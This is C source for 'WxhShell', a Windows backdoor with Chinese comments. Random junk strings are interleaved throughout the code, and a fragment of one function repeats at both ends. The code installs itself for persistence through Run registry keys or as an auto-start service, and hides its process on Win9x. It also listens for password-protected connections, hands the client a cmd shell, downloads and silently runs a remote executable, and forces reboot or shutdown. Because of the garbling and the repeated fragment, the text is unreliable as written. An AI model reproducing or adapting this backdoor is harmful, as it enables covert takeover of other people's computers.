2bT} } PROCESS_BASIC_INFORMATION; IkvH8E LV[4z o]= PROCNTQSIP NtQueryInformationProcess; 0MOAd!N IH0Uq_ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I9MI}0}7 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; o^ 4+eE B[$e;h*Aw[ HANDLE hProcess; fVkl-<?x PROCESS_BASIC_INFORMATION pbi; A-~)7- #Ky0` n HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?1d_E meG2 if(NULL == hInst ) return 0; u,C-U!A dU\fC{1Z g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");
zh6so. g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }"T:z{n NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B4b UcYk ~$cw]R58,9 if (!NtQueryInformationProcess) return 0; ]
=D+a& emHi=[!i hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^O?$}sr if(!hProcess) return 0; R6!3Y/Q@ .B)v "Sw# if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _V;J7Vz ."lY>(HJ CloseHandle(hProcess); Yc
%eTh LC}]6 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <ZocMv9gM if(hProcess==NULL) return 0; (/)JnBy0 xS.0u"[ HMODULE hMod; G6
GXC`^+ char procName[255]; |X sW)/ unsigned long cbNeeded; iCHZ{<k c(~M<nL0 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); FrVD~; $yt|nO CloseHandle(hProcess); vb%\q sf t;*'p if(strstr(procName,"services")) return 1; // 以服务启动 bXJE 2N
)FB)ZK ; return 0; // 注册表启动 rF5<x3 } hIdGQKr>V )~J/,\ // 主模块 |.,yM| int StartWxhshell(LPSTR lpCmdLine) zR/ATm]9 { :ortyCB:H SOCKET wsl; \UiuJ+ BOOL val=TRUE; bi_R.sfK& int port=0; wM|-u/9+ struct sockaddr_in door; M--6oR7 E1>3 [3 if(wscfg.ws_autoins) Install(); xNx!2MrR; 0
xXAhv-)O port=atoi(lpCmdLine); ^{bP#f Xc@4(Nyp if(port<=0) port=wscfg.ws_port; 'r-a:8:t^ OtC/)sX WSADATA data; &r_:n t if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0w c+<CUW #)\KV7f!; if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; C|>#|5XaF setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HO wJ2L door.sin_family = AF_INET;
:&Ul door.sin_addr.s_addr = inet_addr("127.0.0.1"); D6 M:pIN* door.sin_port = htons(port); \zKVgywR H
kg0;) if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;A|6&~E0G closesocket(wsl); KLoHjBq return 1; 7`P(LQAr! } amPQU 3fGy if(listen(wsl,2) == INVALID_SOCKET) { {i=qx#2X?H closesocket(wsl); al^ yCoB return 1; \tQRyj\| } 9'T(Fc Wxhshell(wsl); te:@F]A WSACleanup(); ((H}d?^AJ LNr2YRpyz return 0; lfCoL@$6D {gJOc,U4b } aE:fMDS|x yvVs9"|0 // 以NT服务方式启动 ^^v\ T VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) e#08,wgW { H1q>UU: DWORD status = 0; d,$[633It} DWORD specificError = 0xfffffff; 0C0iAp cnI!}Bu serviceStatus.dwServiceType = SERVICE_WIN32; R(Z2DEt</ serviceStatus.dwCurrentState = SERVICE_START_PENDING; SA}]ZK P serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .lqo>Ta
y serviceStatus.dwWin32ExitCode = 0; m!v`nw ] serviceStatus.dwServiceSpecificExitCode = 0; Bm^vKzp serviceStatus.dwCheckPoint = 0; :^px1 serviceStatus.dwWaitHint = 0; G`w7dn;& n|{x\@VeF hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);
4F/Q0" if (hServiceStatusHandle==0) return; \<V{6#Q= vk{dL' status = GetLastError(); /EWF0XV! if (status!=NO_ERROR) J#bEAK^L,l {
_ 57m] ;& serviceStatus.dwCurrentState = SERVICE_STOPPED; D
@T,j4o serviceStatus.dwCheckPoint = 0; x"*u98&3 serviceStatus.dwWaitHint = 0; xpUaFb serviceStatus.dwWin32ExitCode = status; 27gK
Y
Zf; serviceStatus.dwServiceSpecificExitCode = specificError; bp;)* SetServiceStatus(hServiceStatusHandle, &serviceStatus); nIXq2TzJ return; _G[5S-0 [ } (%\N-[yZ ,sXa{U serviceStatus.dwCurrentState = SERVICE_RUNNING; spgY &OI; serviceStatus.dwCheckPoint = 0; [O9(sWL' serviceStatus.dwWaitHint = 0; F@&q4whaVD if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); BpRQG]L } CShVJ:u+K\ Fj-mo>" // 处理NT服务事件,比如:启动、停止 v?5Xx{ym VOID WINAPI NTServiceHandler(DWORD fdwControl) N!aV~\E { GIt;Y switch(fdwControl) J?u",a]|H" { ,Rz,[KI| case SERVICE_CONTROL_STOP: 61b,+'- serviceStatus.dwWin32ExitCode = 0; if
r!ha+8! serviceStatus.dwCurrentState = SERVICE_STOPPED; Yw4c`MyL serviceStatus.dwCheckPoint = 0; i$$\}2m{L serviceStatus.dwWaitHint = 0; $]!uX& { hP,SvN#!2 SetServiceStatus(hServiceStatusHandle, &serviceStatus); -Z)$].~|t } cBiv=!n return; hPP+lqY[ case SERVICE_CONTROL_PAUSE: /w`{]Ntgu serviceStatus.dwCurrentState = SERVICE_PAUSED; >J|I break; WUMx:a0! case SERVICE_CONTROL_CONTINUE: R84g< serviceStatus.dwCurrentState = SERVICE_RUNNING; X Oc0j9Oa break; )
^!oM case SERVICE_CONTROL_INTERROGATE: ~`u?|+*BO break; v6;XxBR6 }; Y)?4OB=n SetServiceStatus(hServiceStatusHandle, &serviceStatus); qXCl6Yo8 }
YNH>^cD1 _LxV) // 标准应用程序主函数 R1\cAP^0 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +TfMj1Zx { HkGzyDt 2p8JqZMQb // 获取操作系统版本 &l-g3l[ OsIsNt=GetOsVer(); `3*>tq GetModuleFileName(NULL,ExeFile,MAX_PATH); {M$mrmG e}-uU7O // 从命令行安装 v$owG-_>< if(strpbrk(lpCmdLine,"iI")) Install(); j+88J e(6g|h // 下载执行文件 [`yiD> if(wscfg.ws_downexe) { 5MO:hE5sm if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vWXj6} WinExec(wscfg.ws_filenam,SW_HIDE); Bz }Kdyur } uZW
? 0W ph<Z/wlz if(!OsIsNt) { P (_:8|E // 如果时win9x,隐藏进程并且设置为注册表启动 I^qk` 5w HideProc(); U^snb6\5 StartWxhshell(lpCmdLine); 8L|rj4z<# } ^{zwIH2I] else Fx/9T2%= if(StartFromService())
N_=7 // 以服务方式启动 ?A8Uf= StartServiceCtrlDispatcher(DispatchTable); f>;5ZE4Zu else `Z{;
c // 普通方式启动 m32OE`s StartWxhshell(lpCmdLine); v}M, M&? YL;ZZ2A return 0; n,9 *!1y } nsaf6y&E GLv}|>W MVe5j+8 FJ!N)`[ =========================================== *J 7>6N:- /ZvNgaH5M st:[|` s3uT:Xw3rW <T+Pw7X \$yI'q " #ie{!Mh nx
$?wxIm #include <stdio.h> Yn'XSV|g #include <string.h> ?:lOn(0& #include <windows.h> 7 G~MqnO| #include <winsock2.h> U@BVVH?,o #include <winsvc.h> h}g _;k5R #include <urlmon.h> l9qq;hhGP, >Cb% `pe #pragma comment (lib, "Ws2_32.lib") $kZ,uvKN #pragma comment (lib, "urlmon.lib") %UV_
3 Ts}5Nk8% #define MAX_USER 100 // 最大客户端连接数 $gJMF( #define BUF_SOCK 200 // sock buffer #Ru+|KL #define KEY_BUFF 255 // 输入 buffer {S~2m2up0L V tZ #define REBOOT 0 // 重启 6$%]p1"!K #define SHUTDOWN 1 // 关机 E$F)z TJ?}5h5 #define DEF_PORT 5000 // 监听端口 FOquQr1cF v\n!Li H #define REG_LEN 16 // 注册表键长度 7EI(7:gOn #define SVC_LEN 80 // NT服务名长度 ;}.jRmnJ
{pd%I // 从dll定义API wAF>C[ <\ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D<5gdIw typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); uQ5NN*C= typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rv9qF |2r{ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); TG{=~2
'gI58#v // wxhshell配置信息 [0m'a\YE9 struct WSCFG { c?V,a`6 int ws_port; // 监听端口 t{F6+d p char ws_passstr[REG_LEN]; // 口令 `vL R;D int ws_autoins; // 安装标记, 1=yes 0=no jcXb@FE6 char ws_regname[REG_LEN]; // 注册表键名 XxB*lX char ws_svcname[REG_LEN]; // 服务名 31w?bx !Pp char ws_svcdisp[SVC_LEN]; // 服务显示名 dbB2/RI char ws_svcdesc[SVC_LEN]; // 服务描述信息 l"CHI* char ws_passmsg[SVC_LEN]; // 密码输入提示信息 PM[6U# int ws_downexe; // 下载执行标记, 1=yes 0=no vQc>jmS+n char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \@MGOaR] char ws_filenam[SVC_LEN]; // 下载后保存的文件名 e%wbUr]c2 R?Iv<(I }; f>#\'+l' )Qw|)='- // default Wxhshell configuration B,e@v2jO| struct WSCFG wscfg={DEF_PORT, F]M3/M "xuhuanlingzhe", A`#5pGR 1, *Ty>-aS1 "Wxhshell", #uu wzE*M_ "Wxhshell", {7Dc(gNS "WxhShell Service", %+o]1R "Wrsky Windows CmdShell Service", !%T@DT=l& "Please Input Your Password: ", fCx~K' UWn 1, 8eWb{nuJ> "http://www.wrsky.com/wxhshell.exe", r[EN`AxDb "Wxhshell.exe" #/\FB'zC }; rf1-E5 7# _Xsn1 // 消息定义模块 ;d?4phl-. char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; N<$uAns char *msg_ws_prompt="\n\r? for help\n\r#>"; W5J"#^kdF8 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 90K&s#+13 char *msg_ws_ext="\n\rExit."; =qIJXV char *msg_ws_end="\n\rQuit."; /vsQ <t;~ char *msg_ws_boot="\n\rReboot..."; { F.Ihw char *msg_ws_poff="\n\rShutdown..."; pg4M$;ED char *msg_ws_down="\n\rSave to "; JfKl=vg dXrv char *msg_ws_err="\n\rErr!"; 4;w_o9o char *msg_ws_ok="\n\rOK!"; xCoQ>.4p -bZ^A~<O, char ExeFile[MAX_PATH]; `S$BBF; int nUser = 0; sI9~TZ : HANDLE handles[MAX_USER]; {^MR^4&}( int OsIsNt; OM}:1He SJy:5e?zk SERVICE_STATUS serviceStatus; :t\PYDp1 SERVICE_STATUS_HANDLE hServiceStatusHandle; k\HRG@
/G 2)4{ // 函数声明 Fc 5g~T int Install(void); R:^GNra; int Uninstall(void); /oe="/y6 int DownloadFile(char *sURL, SOCKET wsh); ZVK;m1?' int Boot(int flag); {U-VInu void HideProc(void); "}Ya. int GetOsVer(void);
k"GW3E; int Wxhshell(SOCKET wsl); mQo]k void TalkWithClient(void *cs); /PHktSG int CmdShell(SOCKET sock); Z^h'&c# int StartFromService(void); E*rDwTd int StartWxhshell(LPSTR lpCmdLine); VpTp*[8O ZFz>" vt@ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )0qXZgs VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?z
Ms; -I\_v*nA // 数据结构和表定义 7<-D_$SrU SERVICE_TABLE_ENTRY DispatchTable[] = ^t9"!K { LT2mwJl {wscfg.ws_svcname, NTServiceMain}, ?A,gDk/# {NULL, NULL} <<4G GO }; QJGRi [4t_ 83 // 自我安装 Q$Vxm+ int Install(void) U/|B IF { $\m=-5 0- char svExeFile[MAX_PATH]; 0+cRUH9Ew HKEY key; gt{ei)2b strcpy(svExeFile,ExeFile); k{"~G#GwP ad
i5h // 如果是win9x系统,修改注册表设为自启动 cs~
}k7>< if(!OsIsNt) { &$vDC M4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
`^F'af RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t-_N|iW' 5 RegCloseKey(key); h/eKVRGs" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H-7*)D RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OuS{ve RegCloseKey(key); .eq-i> return 0; '<6Gz7O } B'atwgI0 } EUUj-.dEN } URJ" else { =NyzX&H6 b\]"r x
( // 如果是NT以上系统,安装为系统服务 cnCUvD]' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); j!:U*}f if (schSCManager!=0) %#ms`"H { n1buE1r? SC_HANDLE schService = CreateService ?CL1^N% ( x1mxM#ql schSCManager, {TE0 wscfg.ws_svcname, OdwSNG wscfg.ws_svcdisp, JL;H :`x SERVICE_ALL_ACCESS, D1#E&4 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , sy/J+== SERVICE_AUTO_START, gEU)UIJ SERVICE_ERROR_NORMAL, 2MB\!fh svExeFile, "%A[%7LY NULL, ,ulNap"R NULL, ,<pql!B- NULL, cr,o< NULL, |(XV '-~ NULL q2gc.]K\ ); Er{[83
if (schService!=0) gY*Cl1 Iz { B;W=61d CloseServiceHandle(schService); $.V(_
CloseServiceHandle(schSCManager); W,AI E6F strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j]
M)i:n strcat(svExeFile,wscfg.ws_svcname); a7#Eyw^H{ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |nU: RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K=`*cSU> RegCloseKey(key); /:awPYGH<1 return 0; {fIH9+v } dVe3h.,[v } :*c@6;2@ CloseServiceHandle(schSCManager); H,3$TNXy } H@aCo(# } kQVl8KS hh: )"<[ return 1; H~Q UN } z^B!-FcIz> 7M*+!al9 // 自我卸载 iCv &<C@ int Uninstall(void) \ 0<e#0-V { $8_*LR$ HKEY key; _DJ0MR~3 Y>%A*|U% if(!OsIsNt) { TTy1a:V if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 39~fP) RegDeleteValue(key,wscfg.ws_regname); f<kL}B+,Og RegCloseKey(key); "#e2"=3* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }[i35f[w RegDeleteValue(key,wscfg.ws_regname); Tb{,WUJg2 RegCloseKey(key); CB?.|)Xam return 0; /I6?t=?< } DC/CUKE.d } Y6{p|F?&" } D-,sF8{ i else { \19XDqf8 _f34p:B%s SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vBM\W%T|d if (schSCManager!=0) t.knYO) { U*a!Gn7l SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xR1g if (schService!=0) qRB%G<H { vZ|-VvG if(DeleteService(schService)!=0) { bWMM[pnL CloseServiceHandle(schService); K90Zf CloseServiceHandle(schSCManager); ~r=TVHjqi return 0; Po^2+s(fY } &+sO"j4<?r CloseServiceHandle(schService); m+uh6IqN./ } jq =-Y CloseServiceHandle(schSCManager); 8E0Rg/DnT } K5w22L^=+ } =M(\ R8 =BGc@:2 return 1; Tmw
:w~ } &"^A <F=j6U7
// 从指定url下载文件 wbr"z7} int DownloadFile(char *sURL, SOCKET wsh) P, S9gG9 { ;j/ur\37 HRESULT hr; 4|:{apH char seps[]= "/"; `_v-Y`Z char *token; %F}`;>C3 char *file; JBWiTUk char myURL[MAX_PATH]; *`l>1)B> char myFILE[MAX_PATH]; DF&C7+hO FG8bP strcpy(myURL,sURL); YJ75dXc&& token=strtok(myURL,seps); }]n&" =Zk- while(token!=NULL) =6+BBD { oW/&X5 file=token; pP".?|n token=strtok(NULL,seps); WVo%'DtF` } 3]c<7vdl :*oI"U*f GetCurrentDirectory(MAX_PATH,myFILE); %@rh\Z strcat(myFILE, "\\"); @u$oqjK strcat(myFILE, file); ?Z14l0iZ%d send(wsh,myFILE,strlen(myFILE),0); 2?}( send(wsh,"...",3,0); H-rf?R2 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tDi=T]-bt if(hr==S_OK) +h9CcBd return 0; N[42al else @:c
1+ return 1; _5X}&>>lhF 2ag]p } c9'#G>&h~^ Y.hrU*[J0 // 系统电源模块 }~ + int Boot(int flag) vG { z5i!GJB HANDLE hToken; E|5gKp-wJ TOKEN_PRIVILEGES tkp; c?opVbJB\ TY8 8PXW if(OsIsNt) { TVjY8L9'h OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); eFeeloH?e* LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E? FPxs tkp.PrivilegeCount = 1; .z{7
rH tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]&9f:5', AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); RL&*.r& if(flag==REBOOT) { a.Mp1W if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;bA9(:? return 0; (te\!$ } P!vBS"S else { ~ib#x~Db if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6}|vfw return 0; $OUa3!U_! } [@\f 0R } `b]
NB^/ else { qGh rJ6R! if(flag==REBOOT) { Vl'=92t if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Xpa;F$VI return 0; (Ux%7H_d } ,:v}gS?Uq else { K]7@%cS if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j"NqNv return 0; X0U6: } leD?yyjw7 } Q2NS> [ U^,ld` return 1; G!Uq#l> } cfj6I ck@[% ? // win9x进程隐藏模块 5fLCmLM` void HideProc(void) b#]in0MT?@ { TQEZ<B$ i
9b^\&& HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wWm#[f],? if ( hKernel != NULL ) /qp`xJ { u_[Zu8 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); SMhT>dB ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x/Ds`\ FreeLibrary(hKernel); x x
'XR'zK } 3!}#@<j
%\^x3wP&o\ return; Ft|a/e } ~bwFQYY= u.arkp // 获取操作系统版本 FINM4<s) int GetOsVer(void) /|\`NARI { *;}! WDr OSVERSIONINFO winfo; "Fke(?X' winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `hfwZ*s GetVersionEx(&winfo); 7<KRB\)b& if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :Ert57@l return 1; ~pw_*AN else I{2e0 return 0; ,~3 sba } `\qU.m0(j ^6`R:SV4Gx // 客户端句柄模块 56v<!L5% int Wxhshell(SOCKET wsl) N@)g3mX> { H`".L^ SOCKET wsh; :2?'mKa7 struct sockaddr_in client; )GR^V=o7,Y DWORD myID; /TB_4{ CHLMY}O0 while(nUser<MAX_USER) ~{N|("nB { 16]O^R;r int nSize=sizeof(client); +I/P5OGRN wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )8vcg{b{d if(wsh==INVALID_SOCKET) return 1; \/,SH?>4x 6znm?s@~ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); OrH&dY if(handles[nUser]==0) CtE".UlCA closesocket(wsh); mtF&Z\ag else 6qw_ |A&g nUser++; 4o|~KX8Qz } 0W>O,%z&P# WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -OziUM1qs iCc\p2p return 0; * T~sR'K+| } (_W[~df4 }%:?s6Ler // 关闭 socket ~L1N1Z)Kk void CloseIt(SOCKET wsh) qNvKlwR9;k { 1.>`h: closesocket(wsh); hqE#BnQxP, nUser--; 6HEl1FK{@ ExitThread(0); mhs%b4'> } ,CvU#ab8$ p3Gj=G // 客户端请求句柄 ck^Z,AKL+ void TalkWithClient(void *cs) z=u4&x|xA { w%$n)7<* vi=yR SOCKET wsh=(SOCKET)cs; )zt5`"/o char pwd[SVC_LEN]; sS0psw1 char cmd[KEY_BUFF]; JD>!3>S)? char chr[1]; k'\RS6M`L int i,j; {vU '>pp A^m hPBT_ while (nUser < MAX_USER) { LZ@^ A]U 4@VX%5uy if(wscfg.ws_passstr) { kiECJ@5p if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T<ua0;7 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
vdo[qk\C //ZeroMemory(pwd,KEY_BUFF); M,[ClQ 9 i=0; "q%)we while(i<SVC_LEN) { Sj*H4ZHD<& ,`wxXU7 // 设置超时 w(@`g/b fd_set FdRead; 00Rk %QV struct timeval TimeOut; _%>.t FD_ZERO(&FdRead); fHgfI@{=j FD_SET(wsh,&FdRead); {!="PnB TimeOut.tv_sec=8; WRnUF[y+) TimeOut.tv_usec=0; H1@"Yg8 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZBYmAD if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); aCTVY1 Tu"yoF if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *R:nB)(6< pwd=chr[0]; a#{a{> if(chr[0]==0xd || chr[0]==0xa) { /)G9w]|T pwd=0; B[*i}k%i break; n1LS*-@ } NT nn!k i++; Z,2uN!6 } 8=e\^Q+ 1n,JynJ // 如果是非法用户,关闭 socket ?,!qh if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d,>l;l } (kSkbwu qR1ez-#K send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N0XGW_f send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U-Iwda8v 1k7E[G~G| while(1) { )HmpVH FYi<+]HZ ZeroMemory(cmd,KEY_BUFF); b1^MX).vH &oR&NKk // 自动支持客户端 telnet标准 M5q7`
}>G j=0; lyT~>.?{ while(j<KEY_BUFF) { sI.Ezuw if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [~;9Mi.XL cmd[j]=chr[0]; -}>Q0d ) if(chr[0]==0xa || chr[0]==0xd) { d2(n3Xf cmd[j]=0; l>:?U break; $`riB$v } eC3ZK"oJ j++; 4RK^efnp } sPhh#VCw{ .z9JoQ // 下载文件 Xh{EItk~oO if(strstr(cmd,"http://")) { i\3`?d send(wsh,msg_ws_down,strlen(msg_ws_down),0); Lkb?,j5 if(DownloadFile(cmd,wsh)) 'Kq%tM26! send(wsh,msg_ws_err,strlen(msg_ws_err),0); U2h?l
`nP else 4A*'0!H send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >Rr]e`3wG } BeVQ[ else { VfQSfNsi HWc=.Qq switch(cmd[0]) { Vdjca:` %II |;< // 帮助 KI#hII[Q. case '?': { F&uU
,); send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R[9[lQ'vR break; oEfKL`]B } VbZZ=q=Kd // 安装 -f'z_&KI case 'i': { P>)qN,a if(Install()) DSQ2z3s2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); `?La else 'Yj/M send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k6$.pCH6 break; T]0qd^\4w } AJj6@hi2P // 卸载 C7nLa@ case 'r': { j{nL33T% if(Uninstall()) VRT| OUq send(wsh,msg_ws_err,strlen(msg_ws_err),0); g<tr |n else RU@`+6j+ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k3u3X~u break; rFGbp8(2 } x|1OGbBK // 显示 wxhshell 所在路径 9CxU:;3 case 'p': { aLG6y Vtu char svExeFile[MAX_PATH]; `rQA9;Tn2 strcpy(svExeFile,"\n\r"); h19c*,0z! strcat(svExeFile,ExeFile); yv&&x.!.Z send(wsh,svExeFile,strlen(svExeFile),0); C?X^h{Tp break; 6=iz@C7r } 1_f( ;WOg // 重启 J](AJkGzK case 'b': { (Y:5u}*Y send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Fq9AO~z if(Boot(REBOOT)) fyh9U_M);w send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6>X7JMRY else { ([^1gG+>J closesocket(wsh); E]i3E[T ExitThread(0); MoavA
3` } 3N[t2Y1r break; Qv|A^%Ub! } 5v6*.e'p // 关机 j0>Q:hn case 'd': { B&VruOP0 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }f/ 1 if(Boot(SHUTDOWN)) H)ud?vB6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); I ze+]( else { b:SjJA,HM closesocket(wsh); r".*l?= ExitThread(0); ~ep-XO } C%vR!Az break; i]Njn k } Uf4A9$R.G // 获取shell \C#XKk$OE case 's': { hxZ5EKBy CmdShell(wsh); N2#Wyt8MC closesocket(wsh); jJml[iC ExitThread(0); Arc6d5Q break; uB_8P+h7 } W US[hx, // 退出 zk#"n&u0 case 'x': { 4YX/= send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UuPXo66F] CloseIt(wsh); '"qTmo! break; Se{x-vn?p } y(^t &tgjS // 离开 /N '0@q case 'q': { ;UUpkOQO( send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'guXdX]Gu closesocket(wsh); A#k(0e!O WSACleanup(); w`KqB(36 exit(1); g\%;b3"# break; ",O |uL } -Y>,\VEK } 1K{u>T } 1*U)\vK~ QiKci%=SX // 提示信息 wr5ScsNS if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *uW l 804 } O2{~Q{p } (w[#h9j /{Mo'.=Z return; w}|XSJ! } ?qC6p|H X<8?># // shell模块句柄 ty ESDp% int CmdShell(SOCKET sock) A:b(@'h { $;iMo/ STARTUPINFO si; WwUhwY1o!L ZeroMemory(&si,sizeof(si)); FP=up#zl si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4t
5i9+h si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Nwwn #+ PROCESS_INFORMATION ProcessInfo; VdL*"i char cmdline[]="cmd"; baQORU=X CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Yyx sj9 return 0; yE&WGpT } ThvgYv--B v*";A // 自身启动模式 "_^vQ1M]Z int StartFromService(void) R?t_tmKXC! { &2,3R}B/ typedef struct q@Aw]Kh {
s5/u>d DWORD ExitStatus; Y1Q240 DWORD PebBaseAddress; aP$it6Z DWORD AffinityMask; 6o0}7T%6 DWORD BasePriority; 'Z*`~,Q ULONG UniqueProcessId; 38GkV.e}$ ULONG InheritedFromUniqueProcessId; LD*XNcE } PROCESS_BASIC_INFORMATION; 5,\-; {j6$'v)0 PROCNTQSIP NtQueryInformationProcess; S,Z~-j jn4|gQ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wrQ02? static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1=Kt.tuf t[r6 jo7 HANDLE hProcess; Cnr=1E= PROCESS_BASIC_INFORMATION pbi; 5e3p9K`5 ;E_Go&Vd HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); htT9Hrx if(NULL == hInst ) return 0; .mHVJ5^:4\ 0q28Ulv9 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (%c&Km7K g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6gabnW3 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U!{~L$S /Y=_EOS if (!NtQueryInformationProcess) return 0; 0&u=(;Dr\ *>/w,E] hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K?nQsT;3p if(!hProcess) return 0; 1N_T/I8_F H:EK&$sU if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, 